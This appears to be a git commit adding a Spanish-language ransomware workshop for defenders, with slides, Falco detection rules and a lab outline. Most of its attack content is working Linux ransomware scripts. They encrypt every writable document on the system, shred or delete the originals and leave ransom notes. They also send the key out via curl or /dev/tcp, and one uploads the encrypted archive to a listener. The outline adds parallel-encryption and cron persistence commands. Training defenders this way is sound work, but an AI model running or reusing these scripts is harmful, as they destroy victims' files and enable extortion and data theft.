add QueComanTierra LOLBin ransomware workshop

Scripts ofensivos (xargs, tarbulk, noxargs), C2 listener, Falco
detection rules, slides md + pptx, y estructura del workshop.
This commit is contained in:
2026-05-19 09:42:02 -04:00
parent 10e51afabc
commit ae0104b200
17 changed files with 11164 additions and 0 deletions

4
QueComanTierra/.gitignore vendored Normal file
View File

@@ -0,0 +1,4 @@
stolen_keys.log
vaults/
__pycache__/
*.pyc

BIN
QueComanTierra/Tierra.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

9685
QueComanTierra/Tierra.pdf Normal file

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,340 @@
#!/usr/bin/env python3
"""
Genera slides.pptx desde slides.md usando la plantilla Diplomados Ciberseguridad.
Los backgrounds se copian directamente desde los slides del template.
"""
from pptx import Presentation
from pptx.util import Pt, Emu
from pptx.dml.color import RGBColor
from lxml import etree
import copy, re, zipfile, io, tempfile, os
TEMPLATE = "../../Red Team.pptx"
SOURCE = "slides.md"
OUTPUT = "slides.pptx"
# Layouts en la plantilla (por nombre español)
L_TITLE = 0 # Diapositiva de titulo (idx 0=ctrTitle, 1=subTitle)
L_CONTENT = 1 # Titulo y objetos (idx 0=title, 1=content)
L_SECTION = 2 # Encabezado de seccion (idx 0=title, 1=body)
# Slides del template que sirven como fuente de backgrounds
# slide1=portada, slide3=contenido, slide5=seccion divisor
BG_TITLE = 0 # image1.jpg — portada con fondo binario rojo
BG_CONTENT = 2 # image3.jpg — slide normal con logos y barra roja
BG_SECTION = 4 # image5.jpg — divisor rojo degradado
PNS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
ANS = 'http://schemas.openxmlformats.org/drawingml/2006/main'
RNS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'
IMG_REL = f'{RNS}/image'
# ─── template limpio ─────────────────────────────────────────────────────────
def make_clean_template(src):
"""Devuelve BytesIO: template sin slides (master/layouts/media intactos)."""
SLIDE_XML = re.compile(r'^ppt/slides/slide\d+\.xml$')
SLIDE_RELS = re.compile(r'^ppt/slides/_rels/slide\d+\.xml\.rels$')
SLIDE_CT = 'application/vnd.openxmlformats-officedocument.presentationml.slide+xml'
SLIDE_REL_TYPE = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide'
PKG_NS = 'http://schemas.openxmlformats.org/package/2006/relationships'
PML_NS = 'http://schemas.openxmlformats.org/presentationml/2006/main'
CT_NS = 'http://schemas.openxmlformats.org/package/2006/content-types'
buf = io.BytesIO()
with zipfile.ZipFile(src, 'r') as zin, \
zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zout:
for item in zin.infolist():
name = item.filename
if SLIDE_XML.match(name) or SLIDE_RELS.match(name):
continue # eliminar slides y sus rels del ZIP
data = zin.read(name)
if name == 'ppt/presentation.xml':
root = etree.fromstring(data)
lst = root.find(f'{{{PML_NS}}}sldIdLst')
if lst is not None:
lst.clear()
data = etree.tostring(root, xml_declaration=True,
encoding='UTF-8', standalone=True)
elif name == 'ppt/_rels/presentation.xml.rels':
root = etree.fromstring(data)
for rel in root.findall(f'{{{PKG_NS}}}Relationship'):
if rel.get('Type') == SLIDE_REL_TYPE:
root.remove(rel)
data = etree.tostring(root, xml_declaration=True,
encoding='UTF-8', standalone=True)
elif name == '[Content_Types].xml':
root = etree.fromstring(data)
for ov in root.findall(f'{{{CT_NS}}}Override'):
if ov.get('ContentType') == SLIDE_CT:
root.remove(ov)
data = etree.tostring(root, xml_declaration=True,
encoding='UTF-8', standalone=True)
zout.writestr(item, data)
buf.seek(0)
return buf
# ─── background copy ──────────────────────────────────────────────────────────
def copy_background(new_slide, template_slide):
"""Copia el <p:bg> del template_slide al new_slide, remapeando el rId de imagen."""
cSld_tmpl = template_slide._element.find(f'{{{PNS}}}cSld')
bg = cSld_tmpl.find(f'{{{PNS}}}bg') if cSld_tmpl is not None else None
if bg is None:
return
blip = bg.find(f'.//{{{ANS}}}blip')
if blip is None:
return
old_rId = blip.get(f'{{{RNS}}}embed')
if not old_rId:
return
# Obtener la imagen del template y relacionarla con el nuevo slide
image_part = template_slide.part.related_part(old_rId)
new_rId = new_slide.part.relate_to(image_part, IMG_REL)
# Clonar <p:bg> y actualizar el rId
new_bg = copy.deepcopy(bg)
new_blip = new_bg.find(f'.//{{{ANS}}}blip')
new_blip.set(f'{{{RNS}}}embed', new_rId)
# Insertar en cSld del nuevo slide (antes de spTree)
new_cSld = new_slide._element.find(f'{{{PNS}}}cSld')
existing_bg = new_cSld.find(f'{{{PNS}}}bg')
if existing_bg is not None:
new_cSld.remove(existing_bg)
new_cSld.insert(0, new_bg)
# ─── helpers de texto ─────────────────────────────────────────────────────────
def clean(text):
text = re.sub(r'\*\*(.*?)\*\*', r'\1', text)
text = re.sub(r'\*(.*?)\*', r'\1', text)
text = re.sub(r'`(.*?)`', r'\1', text)
text = re.sub(r'^\s*>\s?', '', text, flags=re.MULTILINE)
return text.strip()
def fill_placeholder(ph, lines):
tf = ph.text_frame
tf.word_wrap = True
tf.clear()
in_code = False
first_p = True
for line in lines:
if line.startswith('```'):
in_code = not in_code
continue
if re.match(r'^\s*\|?[-:| ]+\|', line):
continue
stripped = line.rstrip()
if not stripped and not in_code:
continue
p = tf.paragraphs[0] if first_p else tf.add_paragraph()
first_p = False
bullet = re.match(r'^(\s*)([-*]|\d+\.) (.+)', stripped)
if bullet and not in_code:
indent = len(bullet.group(1)) // 2
p.level = min(indent + 1, 4)
run = p.add_run()
run.text = clean(bullet.group(3))
elif in_code:
# Eliminar bullet del párrafo
pPr = p._p.get_or_add_pPr()
for child in list(pPr):
if child.tag.split('}')[-1].startswith('bu'):
pPr.remove(child)
pPr.append(etree.SubElement(pPr, f'{{{ANS}}}buNone'))
run = p.add_run()
run.text = stripped.lstrip()
run.font.name = 'Courier New'
run.font.size = Pt(13)
run.font.color.rgb = RGBColor(0xC0, 0x00, 0x00)
else:
heading = re.match(r'^#{2,4} (.+)', stripped)
if heading:
run = p.add_run()
run.text = clean(heading.group(1))
run.font.bold = True
else:
run = p.add_run()
run.text = clean(stripped)
# ─── parser ───────────────────────────────────────────────────────────────────
def parse_slides(path):
with open(path) as f:
raw = f.read()
raw = re.sub(r'^---\n.*?\n---\n', '', raw, flags=re.DOTALL)
blocks = re.split(r'\n---\n', raw)
return [b.strip() for b in blocks if b.strip()]
def classify(block):
lines = block.split('\n')
first = lines[0]
if re.match(r'^# ', first):
title = re.sub(r'^# ', '', first).replace('{.center}', '').strip()
body = [l for l in lines[1:] if l.strip() and not l.startswith('{')]
return ('section', title, body)
if re.match(r'^## \{\.center\}', first) or first.strip() == '## {.center}':
body = [l for l in lines[1:] if l.strip()]
return ('section', '', body)
if re.match(r'^## ', first):
title = re.sub(r'^## ', '', first).strip()
return ('content', title, lines[1:])
return ('content', '', lines)
# ─── tables ───────────────────────────────────────────────────────────────────
def parse_md_table(lines):
"""Separa lineas en (non_table_lines, table_rows).
Ignora pipes dentro de code fences para no confundirlos con tablas."""
is_table = lambda l: bool(re.match(r'\s*\|', l.strip()) and '|' in l)
is_sep = lambda l: bool(re.match(r'^\s*\|?[-:| ]+\|', l))
non_table, rows = [], []
in_code = False
for line in lines:
if line.startswith('```'):
in_code = not in_code
non_table.append(line)
continue
if in_code:
non_table.append(line)
continue
if is_sep(line):
continue
if is_table(line):
cells = [clean(c.strip()) for c in line.strip().strip('|').split('|')]
rows.append(cells)
else:
non_table.append(line)
return non_table, rows
def add_pptx_table(slide, rows, left, top, width, height):
"""Añade una tabla PPTX estilizada en las coordenadas dadas."""
if not rows:
return
n_rows = len(rows)
n_cols = max(len(r) for r in rows)
tbl = slide.shapes.add_table(n_rows, n_cols, left, top, width, height).table
# Distribuir columnas proporcionalmente (col0 más estrecha = herramienta)
if n_cols == 2:
tbl.columns[0].width = int(width * 0.25)
tbl.columns[1].width = int(width * 0.75)
else:
for i in range(n_cols):
tbl.columns[i].width = width // n_cols
RED = RGBColor(0x8B, 0x00, 0x00)
WHITE = RGBColor(0xFF, 0xFF, 0xFF)
BLACK = RGBColor(0x00, 0x00, 0x00)
LIGHT = RGBColor(0xF2, 0xF2, 0xF2)
for ri, row in enumerate(rows):
header = (ri == 0)
for ci in range(n_cols):
cell = tbl.cell(ri, ci)
text = row[ci] if ci < len(row) else ''
cell.text = text
cell.fill.solid()
cell.fill.fore_color.rgb = RED if header else (LIGHT if ri % 2 == 0 else WHITE)
for para in cell.text_frame.paragraphs:
for run in para.runs:
run.font.size = Pt(14)
run.font.bold = header
run.font.color.rgb = WHITE if header else BLACK
# ─── builder ──────────────────────────────────────────────────────────────────
def build():
# Template original: solo para extraer backgrounds
tmpl = Presentation(TEMPLATE)
tmpl_slides = list(tmpl.slides)
# Template limpio: sin slides, para construir desde cero
clean_buf = make_clean_template(TEMPLATE)
prs = Presentation(clean_buf)
blocks = parse_slides(SOURCE)
def add(layout_idx, bg_idx):
slide = prs.slides.add_slide(prs.slide_layouts[layout_idx])
copy_background(slide, tmpl_slides[bg_idx])
return slide
# Slide 1: portada
slide = add(L_TITLE, BG_TITLE)
for ph in slide.placeholders:
if ph.placeholder_format.idx == 0:
ph.text = "Que coman tierra"
elif ph.placeholder_format.idx == 1:
ph.text = "De LOLBINs a ransomware\nDiplomados Ciberseguridad"
# Slides desde markdown
for block in blocks:
kind, title, body_lines = classify(block)
if kind == 'section':
slide = add(L_SECTION, BG_SECTION)
for ph in slide.placeholders:
if ph.placeholder_format.idx == 0:
ph.text = title
elif ph.placeholder_format.idx == 1 and body_lines:
fill_placeholder(ph, body_lines)
for para in ph.text_frame.paragraphs:
for run in para.runs:
run.font.color.rgb = RGBColor(0x00, 0x00, 0x00)
else:
slide = add(L_CONTENT, BG_CONTENT)
non_tbl, tbl_rows = parse_md_table(body_lines)
for ph in slide.placeholders:
if ph.placeholder_format.idx == 0:
ph.text = title
elif ph.placeholder_format.idx == 1:
if tbl_rows:
# Usar posicion del placeholder para colocar la tabla
sp = ph._element
xfrm = sp.find(f'.//{{{ANS}}}xfrm')
if xfrm is not None:
off = xfrm.find(f'{{{ANS}}}off')
ext = xfrm.find(f'{{{ANS}}}ext')
l = int(off.get('x', 0))
t = int(off.get('y', 0))
w = int(ext.get('cx', 0))
h = int(ext.get('cy', 0))
else:
l, t, w, h = 838200, 1600200, 10515600, 4500000
# Si hay texto además de tabla, reducir altura de tabla
if non_tbl:
fill_placeholder(ph, non_tbl)
t_offset = int(h * 0.45)
add_pptx_table(slide, tbl_rows, l, t + t_offset, w, h - t_offset)
else:
ph.text = '' # vaciar placeholder
add_pptx_table(slide, tbl_rows, l, t, w, h)
else:
fill_placeholder(ph, body_lines)
prs.save(OUTPUT)
print(f"OK: {OUTPUT}{len(prs.slides)} slides.")
if __name__ == '__main__':
build()

4
QueComanTierra/compile.sh Executable file
View File

@@ -0,0 +1,4 @@
#!/bin/bash
set -e
python3 build_pptx.py

View File

@@ -0,0 +1,155 @@
# Falco rules: detección comportamental de ransomware LOLBin
# Probadas contra tarbulk.sh y xargs_ransom.sh
# MITRE ATT&CK: T1059.004 (Unix Shell), T1486 (Data Encrypted for Impact), T1048 (Exfiltration)
# ---------------------------------------------------------------------------
# Macros
# ---------------------------------------------------------------------------
- macro: shell_proc
condition: proc.name in (bash, sh, dash, ksh, zsh)
- macro: doc_extensions
condition: >
fd.name endswith ".txt" or
fd.name endswith ".pdf" or
fd.name endswith ".docx" or
fd.name endswith ".doc" or
fd.name endswith ".db" or
fd.name endswith ".sh" or
fd.name endswith ".zip"
- macro: user_dirs
condition: >
fd.directory startswith "/home" or
fd.directory startswith "/root" or
fd.directory startswith "/var/www"
# ---------------------------------------------------------------------------
# Regla 1: openssl enc invocado desde shell sin -in (leyendo de pipe)
#
# Detecta: tar ... | openssl enc ... > /tmp/.vault.enc
# También detecta la variante xargs con -pass pass:KEY
#
# Falsos positivos esperados: scripts de backup legítimos que cifren con
# openssl. Mitigar añadiendo proc.aname[2] != "cron" o whitelistando usuarios
# de backup en allowed_backup_users.
# ---------------------------------------------------------------------------
- list: allowed_backup_users
items: [backup, root]
- rule: Shell Spawning OpenSSL Bulk Encryption
desc: >
Un proceso shell invocó openssl enc con cifrado AES. Sin -in explícito
(lee de pipe) y con -pass en línea de comandos. Patrón característico
de ransomware LOLBin via tar|openssl o xargs|openssl.
condition: >
spawned_process and
shell_proc and
proc.name = "openssl" and
proc.cmdline contains "enc" and
proc.cmdline contains "aes" and
proc.cmdline contains "-pass" and
not user.name in (allowed_backup_users)
output: >
openssl enc desde shell, posible cifrado masivo
(user=%user.name uid=%user.uid
cmd=%proc.cmdline
parent=%proc.pname ppid=%proc.ppid
container=%container.name)
priority: WARNING
tags: [lolbin, ransomware, T1486, T1059.004]
# ---------------------------------------------------------------------------
# Regla 2: bash abriendo socket TCP directamente (/dev/tcp)
#
# Detecta: printf '...' > /dev/tcp/192.168.1.5/9090
#
# bash no debería abrir conexiones TCP salientes directamente.
# Si lo hace, es exfiltración via /dev/tcp o reverse shell.
#
# Falsos positivos: scripts de healthcheck que usen /dev/tcp para probar
# conectividad. Mitigar con proc.pname != "systemd" o allowlist de puertos.
# ---------------------------------------------------------------------------
- list: allowed_tcp_dests
items: [] # añadir IPs internas si hay falsos positivos
- rule: Bash Native TCP Exfiltration
desc: >
bash abrió un socket TCP directo. Indica uso de /dev/tcp, técnica de
exfiltración que no requiere curl, wget ni ningún binario externo.
Alta fidelidad: bash no debería conectarse a la red directamente.
condition: >
evt.type = connect and
fd.typechar = "4" and
shell_proc and
not fd.rip in (allowed_tcp_dests)
output: >
bash abrió conexión TCP directa, posible /dev/tcp exfiltración
(user=%user.name uid=%user.uid
dst=%fd.rip:%fd.rport
pid=%proc.pid cmd=%proc.cmdline
container=%container.name)
priority: CRITICAL
tags: [lolbin, exfiltration, T1048, T1059.004]
# ---------------------------------------------------------------------------
# Regla 3: eliminación masiva de documentos de usuario desde shell
#
# Detecta: printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
# (3470 llamadas unlink en ~4 segundos)
#
# Esta regla se dispara una vez por archivo eliminado. El VOLUMEN es la
# señal: 3470 alertas en 4 segundos es inconfundible en un SIEM.
# Con Falco + Falcosidekick puedes agregar y alertar sobre el rate.
# ---------------------------------------------------------------------------
- rule: Mass Document Deletion by Shell Process
desc: >
Proceso shell eliminando archivos de documento en directorios de usuario.
Individualmente normal; a escala (cientos/segundo) es la fase de
destrucción de ransomware. Correlacionar con Regla 1 para alta confianza.
condition: >
evt.type in (unlink, unlinkat) and
proc.name in (rm, bash, sh) and
doc_extensions and
user_dirs
output: >
documento de usuario eliminado por proceso shell
(user=%user.name uid=%user.uid
file=%fd.name
proc=%proc.name cmd=%proc.cmdline
container=%container.name)
priority: WARNING
tags: [ransomware, destruction, T1486]
# ---------------------------------------------------------------------------
# Regla 4: archivo opaco grande creado en /tmp
#
# Detecta: openssl enc ... > /tmp/.vault.enc (29 MB, nombre con punto)
#
# Un archivo con nombre oculto (punto) y extensión .enc en /tmp es
# indicador fuerte de staging de datos exfiltrados o vault cifrado.
# ---------------------------------------------------------------------------
- rule: Hidden Encrypted Archive Staged in Tmp
desc: >
Se creó un archivo oculto con extensión .enc en /tmp. Patrón de
tarbulk: el vault cifrado se escribe en /tmp antes de exfiltrarse.
Los archivos legítimos en /tmp raramente tienen nombre oculto + .enc.
condition: >
evt.type in (open, openat) and
evt.arg.flags contains O_CREAT and
fd.directory = "/tmp" and
fd.filename startswith "." and
fd.name endswith ".enc"
output: >
archivo cifrado oculto creado en /tmp, posible vault de ransomware
(user=%user.name uid=%user.uid
file=%fd.name
proc=%proc.name cmd=%proc.cmdline
container=%container.name)
priority: CRITICAL
tags: [ransomware, staging, T1486, T1074]

View File

@@ -0,0 +1,180 @@
# Que coman tierra: de LOLBINs a ransomware
## Estructura del Taller
**Audiencia:** Defensores, sysadmins, blue teamers
**Duración estimada:** 3-4 horas
**Entorno:** VM Linux aislada (sin red externa)
---
## Módulo 1: El problema invisible (20 min)
**Concepto central:** Un ataque que no instala nada es casi indetectable con herramientas tradicionales.
- Qué son los LOLBins (Living Off the Land Binaries)
- Por qué los antivirus no los detienen
- Casos reales: ataques ransomware 100% con herramientas del sistema
- La pregunta incómoda: ¿qué tan fácil es?
---
## Módulo 2: El arsenal del sistema (30 min)
**Concepto central:** El atacante ya tiene todo lo que necesita instalado.
| Herramienta | Capacidad ofensiva |
|--------------------|-------------------------------------------------------|
| `openssl` | Cifrado simétrico y asimétrico |
| `find` | Reconocimiento y targeting de archivos |
| `xargs` | Paralelización masiva de operaciones sobre archivos |
| `tar` / `dd` | Exfiltración y destrucción |
| `python3` / `perl` | Scripting completo sin instalar nada |
| `base64` | Codificación de claves / evasión |
| `cron` / `at` | Persistencia y ejecución diferida |
| `shred` | Destrucción segura de originales |
| `curl` / `wget` | C2 simulado |
Demo en vivo: cada herramienta haciendo algo que "no debería".
### xargs: el multiplicador de fuerza
`find` localiza objetivos. `xargs` los procesa en paralelo. La diferencia en velocidad es brutal.
```bash
# Lento: cifrado secuencial con while loop
while IFS= read -r f; do
openssl enc -aes-256-cbc -pbkdf2 -in "$f" -out "${f}.enc" -pass file:/tmp/.key
done < /tmp/.targets
# Rápido: cifrado paralelo con xargs -P
find /home/victim -type f -name "*.txt" -print0 \
| xargs -0 -P $(nproc) -I{} \
openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in {} -out {}.enc
```
`-P $(nproc)` lanza tantos procesos paralelos como cores tenga la máquina. En un servidor con 16 cores, un atacante cifra **miles de archivos en segundos**. Esta es la razón por la que el ransomware moderno es tan rápido que los backups en tiempo real no alcanzan a reaccionar.
---
## Módulo 3: Anatomía de un ataque (30 min)
**Concepto central:** El ransomware tiene fases. Cada fase usa un LOLBin distinto.
### Fases del ataque
1. **Reconocimiento** - `find` mapea archivos objetivo
2. **Generación de clave** - `openssl rand` crea clave efímera
3. **Cifrado paralelo** - `find | xargs -P` cifra todo simultáneamente
4. **Destrucción del original** - `shred` elimina el archivo limpio
5. **Exfiltración de clave** - `curl` envía clave al atacante
6. **Nota de rescate** - `echo` / `wall` / fondo de escritorio
7. **Persistencia** - `cron` para re-cifrar si se intenta recuperar
Diagrama de flujo del ataque completo.
---
## Módulo 4: Lab "Preparando el plato" (90 min)
**Objetivo:** Ejecutar un ataque simulado completo en entorno aislado y entender cada paso desde adentro.
### Prerequisitos del lab
- VM Ubuntu/Debian sin snapshots previos (propósito)
- Directorio `/home/victim/documentos/` con archivos de prueba
- Sin conexión a red real
### Ejercicios
#### Ejercicio 1: Reconocimiento (15 min)
```bash
find /home/victim -type f \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" \) > /tmp/.targets
wc -l /tmp/.targets
```
#### Ejercicio 2: Generar clave (5 min)
```bash
openssl rand -base64 32 > /tmp/.key
```
#### Ejercicio 3: Cifrado paralelo con xargs (30 min)
Primero, la versión lenta para que la sientan:
```bash
# Versión while loop - medir con `time`
time while IFS= read -r f; do
openssl enc -aes-256-cbc -pbkdf2 -in "$f" -out "${f}.enc" -pass file:/tmp/.key
shred -u "$f"
done < /tmp/.targets
```
Luego, la versión real:
```bash
# Versión xargs -P - mismo resultado, velocidad completamente diferente
time find /home/victim -type f \( -name "*.txt" -o -name "*.pdf" \) -print0 \
| xargs -0 -P $(nproc) -I{} sh -c \
'openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in "$1" -out "$1.enc" && shred -u "$1"' \
_ {}
```
**Pregunta para el grupo:** ¿cuántos archivos por segundo procesó cada versión? ¿Qué implica eso para la ventana de detección?
#### Ejercicio 4: Nota de rescate (10 min)
```bash
cat > /home/victim/LEEME_URGENTE.txt << 'RANSOMNOTE'
Tus archivos han sido cifrados.
Tienes 72 horas para pagar.
RANSOMNOTE
wall /home/victim/LEEME_URGENTE.txt
```
#### Ejercicio 5: Persistencia (10 min)
```bash
(crontab -l 2>/dev/null; echo "*/5 * * * * find /home/victim -name '*.txt' -newer /tmp/.key -print0 | xargs -0 -P 4 -I{} openssl enc -aes-256-cbc -pbkdf2 -pass file:/tmp/.key -in {} -out {}.enc") | crontab -
```
#### Ejercicio 6: Análisis forense post-ataque (20 min)
- ¿Qué quedó en logs?
- ¿Qué proceso hizo qué?
- ¿Hubo alguna señal detectable?
- ¿En qué momento hubiera sido posible interrumpirlo?
---
## Módulo 5: Defensa, cómo no comer tierra (40 min)
**Concepto central:** Si entendiste el ataque, entiendes dónde poner los controles.
### Detección
- `auditd` - auditoría de syscalls (`openssl`, `shred`, `xargs` con muchos forks, escrituras masivas)
- Alerta en spike de procesos `openssl` simultáneos (señal directa de `xargs -P`)
- Reglas YARA para patrones de comportamiento, no de firma
- Alertas en accesos masivos a archivos en ventana corta de tiempo
- Monitoreo de modificaciones a `crontab`
### Prevención
- Backups inmutables (S3 Object Lock, ZFS snapshots, `restic`)
- Filesystem flags: `chattr +i` para archivos críticos
- AppArmor/SELinux profiles que restringen `openssl` a usuarios específicos
- Principio de mínimo privilegio
### Respuesta
- Runbook de incident response para ransomware
- Cómo identificar la clave si no fue exfiltrada
- Recuperación desde snapshots
---
## Módulo 6: Cierre (10 min)
- "La mejor defensa es saber cómo atacan"
- Recursos: GTFOBins, LOLBAS, MITRE ATT&CK T1486
- Tarea: auditar su propio entorno con `auditd`
---
## Notas para el instructor
- **Nunca ejecutar en sistemas reales** - solo en VMs aisladas con snapshots
- Tener snapshots pre-hechos para restaurar rápido entre grupos
- El módulo 4 es el núcleo - darle tiempo extra si es necesario
- El objetivo NO es crear atacantes: es crear defensores que entienden el ataque

3
QueComanTierra/getkeys.sh Executable file
View File

@@ -0,0 +1,3 @@
#!/bin/bash
python3 -m http.server -b 192.168.1.5 9090

4
QueComanTierra/notas.md Normal file
View File

@@ -0,0 +1,4 @@
Título:
- "Que coman tierra: de LOLBINs a ransomware"
Descripción:
- "Comer tierra" es lo que sientes cuando descubres que un atacante ha cifrado tus servidores sin instalar nada. En este taller te enseñamos a preparar ese plato, pero desde el lado ético. Usarás herramientas legítimas de Linux para ejecutar un ataque simulado de ransomware y entenderás por qué la seguridad ofensiva es la mejor defensa.

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,60 @@
#!/bin/false
# /bin/false porque no quiero ejecutar esto :)
IP=$1
KEY=$(openssl rand -hex 32)
function get_writeable_dirs() {
WRITEABLE_DIRS=()
while IFS= read -r dir; do
WRITEABLE_DIRS+=("$dir")
done < <(find / -type d -perm -0002)
}
function get_interesting_files() {
TARGETS=()
while IFS= read -r file; do
TARGETS+=("$file")
done < <(find / -type f -writable \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" -o -name "*.db" \))
}
function send_key() {
curl -sk "https://$IP/?k=$KEY&v=$(curl -s4 ifconfig.me)"
}
function make_readme() {
for dir in "${WRITEABLE_DIRS[@]}"; do
echo "Tus archivos han sido cifrados. Tienes 72 horas para pagar." > "$dir/LEEME_URGENTE.txt"
done
}
function encrypt() {
for file in "${TARGETS[@]}"; do
openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" -in "$file" -out "$file.enc"
shred -u "$file"
done
}
function main() {
echo "[*] Reconocimiento: directorios escribibles..."
time get_writeable_dirs
echo "[+] ${#WRITEABLE_DIRS[@]} directorios encontrados."
echo "[*] Reconocimiento: archivos objetivo..."
time get_interesting_files
echo "[+] ${#TARGETS[@]} archivos encontrados."
echo "[*] Cifrando (for loop, secuencial)..."
time encrypt
echo "[+] Cifrado completo."
echo "[*] Depositando notas de rescate..."
time make_readme
echo "[+] Notas en ${#WRITEABLE_DIRS[@]} directorios."
echo "[*] Exfiltrando clave a $IP..."
send_key
echo "[+] Hecho."
}
main "$@"

View File

@@ -0,0 +1,84 @@
#!/bin/bash
# /bin/bash porque sí queremos ejecutar esto... en la VM :)
IP=$1
KEY=$(openssl rand -hex 32)
function get_writeable_dirs() {
mapfile -d '' WRITEABLE_DIRS < <(find / -type d -perm -0002 -print0)
}
function get_interesting_files() {
mapfile -d '' TARGETS < <(find / -type f -writable \( -name "*.sh" -o -name "*.doc" -o -name "*.zip" -name "*.txt" -o -name "*.pdf" -o -name "*.docx" -o -name "*.db" \) -print0)
}
function get_victim_ip() {
hostname -I | awk '{print $1}'
}
function send_key() {
local victim_ip
victim_ip=$(get_victim_ip)
printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \
"$KEY" "$victim_ip" "$IP" \
> /dev/tcp/"$IP"/9090
}
function send_vault() {
local victim_ip size
victim_ip=$(get_victim_ip)
size=$(stat -c%s /tmp/.vault.enc)
{
printf 'POST /vault/%s HTTP/1.0\r\n' "$victim_ip"
printf 'Host: %s\r\n' "$IP"
printf 'Content-Type: application/octet-stream\r\n'
printf 'Content-Length: %d\r\n' "$size"
printf '\r\n'
cat /tmp/.vault.enc
} > /dev/tcp/"$IP"/9091
}
function make_readme() {
printf '%s\0' "${WRITEABLE_DIRS[@]}" | \
xargs -0 -I% sh -c \
'echo "Tus archivos han sido cifrados. Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"'
}
function encrypt() {
# Un solo tar stream -> un solo openssl -> un solo fork
printf '%s\0' "${TARGETS[@]}" | \
tar --null -T - -czf - | \
openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \
> /tmp/.vault.enc
# Eliminar originales en batch (un solo find, sin shred por archivo)
printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f
}
function main() {
echo "[*] Reconocimiento: directorios escribibles..."
time get_writeable_dirs
echo "[+] ${#WRITEABLE_DIRS[@]} directorios encontrados."
echo "[*] Reconocimiento: archivos objetivo..."
time get_interesting_files
echo "[+] ${#TARGETS[@]} archivos encontrados."
echo "[*] Cifrando (tar | openssl, un proceso)..."
time encrypt
echo "[+] Cifrado completo. Vault: /tmp/.vault.enc"
echo "[*] Depositando notas de rescate..."
time make_readme
echo "[+] Notas en ${#WRITEABLE_DIRS[@]} directorios."
echo "[*] Exfiltrando clave a $IP..."
send_key
echo "[+] Clave enviada."
echo "[*] Exfiltrando vault a $IP..."
send_vault
echo "[+] Hecho."
}
main "$@"

View File

@@ -0,0 +1,54 @@
#!/bin/false
# /bin/false porque no quiero ejecutar esto :)
IP=$1
KEY=$(openssl rand -hex 32)
function get_writeable_dirs() {
mapfile -d '' WRITEABLE_DIRS < <(find / -type d -perm -0002 -print0)
}
function get_interesting_files() {
mapfile -d '' TARGETS < <(find / -type f -writable \( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" -o -name "*.db" \) -print0)
}
function send_key() {
curl -sk "http://$IP/?k=$KEY&v=$(curl -s4 ifconfig.me)"
}
function make_readme() {
printf '%s\0' "${WRITEABLE_DIRS[@]}" | \
xargs -0 -I% sh -c \
'echo "Tus archivos han sido cifrados. Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"'
}
function encrypt() {
printf '%s\0' "${TARGETS[@]}" | \
xargs -0 -I% -P"36" sh -c \
'openssl enc -aes-256-cbc -pbkdf2 -pass pass:'"$KEY"' -in "$1" -out "$1.enc" && shred -u "$1"' \
_ %
}
function main() {
echo "[*] Reconocimiento: directorios escribibles..."
time get_writeable_dirs
echo "[+] ${#WRITEABLE_DIRS[@]} directorios encontrados."
echo "[*] Reconocimiento: archivos objetivo..."
time get_interesting_files
echo "[+] ${#TARGETS[@]} archivos encontrados."
echo "[*] Cifrando (xargs -P$(nproc), paralelo)..."
time encrypt
echo "[+] Cifrado completo."
echo "[*] Depositando notas de rescate..."
time make_readme
echo "[+] Notas en ${#WRITEABLE_DIRS[@]} directorios."
echo "[*] Exfiltrando clave a $IP..."
send_key
echo "[+] Hecho."
}
main "$@"

Binary file not shown.

492
QueComanTierra/slides.md Normal file
View File

@@ -0,0 +1,492 @@
---
title: "Que coman tierra"
subtitle: "De LOLBINs a ransomware"
author: "Alignment Security"
date: 2026
theme: moon
highlight-style: monokai
---
# Que coman tierra {.center}
**De LOLBINs a ransomware**
*Taller de seguridad ofensiva y defensiva*
---
## El escenario
> "Comer tierra" es lo que sientes cuando descubres que un atacante cifró tus servidores **sin instalar nada.**
- Sin malware en disco
- Sin firma que detectar
- Sin alerta del antivirus
**¿Cómo es eso posible?**
---
# Módulo 1 {.center}
## El problema invisible
---
## ¿Qué son los LOLBins?
**Living Off the Land Binaries**
Herramientas legítimas del sistema operativo usadas con fines maliciosos.
- Ya están instaladas
- Son de confianza para el OS
- Los antivirus no las bloquean
- Los logs las registran como actividad "normal"
---
## ¿Por qué los antivirus no los detienen?
Los AV buscan **firmas**: patrones de código malicioso conocido.
`openssl`, `find`, `xargs`, `shred`... son binarios firmados, legítimos, cotidianos.
No hay nada que detectar.
---
## Casos reales
- **NotPetya (2017):** usó `wmic` y `psexec` para propagación lateral
- **Living off the Land attacks:** el 62% de los ataques modernos usan LOLBins (CrowdStrike, 2023)
- **Ransomware-as-a-Service:** los kits más sofisticados evitan dropper ejecutables
**La pregunta incómoda: ¿qué tan fácil es replicarlo?**
---
# Módulo 2 {.center}
## El arsenal del sistema
---
## Lo que ya tienes instalado
| Herramienta | Para qué lo usa un atacante |
|---|---|
| `openssl` | Cifrado AES-256 |
| `find` | Mapear archivos objetivo |
| `xargs` | Paralelizar el ataque |
| `shred` | Destruir los originales |
| `cron` | Persistencia |
| `curl` | Exfiltrar la clave |
*Ninguno de estos necesita instalación.*
---
## find: el reconocimiento
```bash
# Mapear todos los archivos de valor
find / -type f -writable \
\( -name "*.txt" -o -name "*.pdf" \
-o -name "*.docx" -o -name "*.db" \) \
-print0 > /tmp/.targets
```
Rápido. Silencioso. Está en cualquier Linux.
---
## xargs: el multiplicador de fuerza
`find` localiza. `xargs` paraleliza.
```bash
# Secuencial - un archivo a la vez
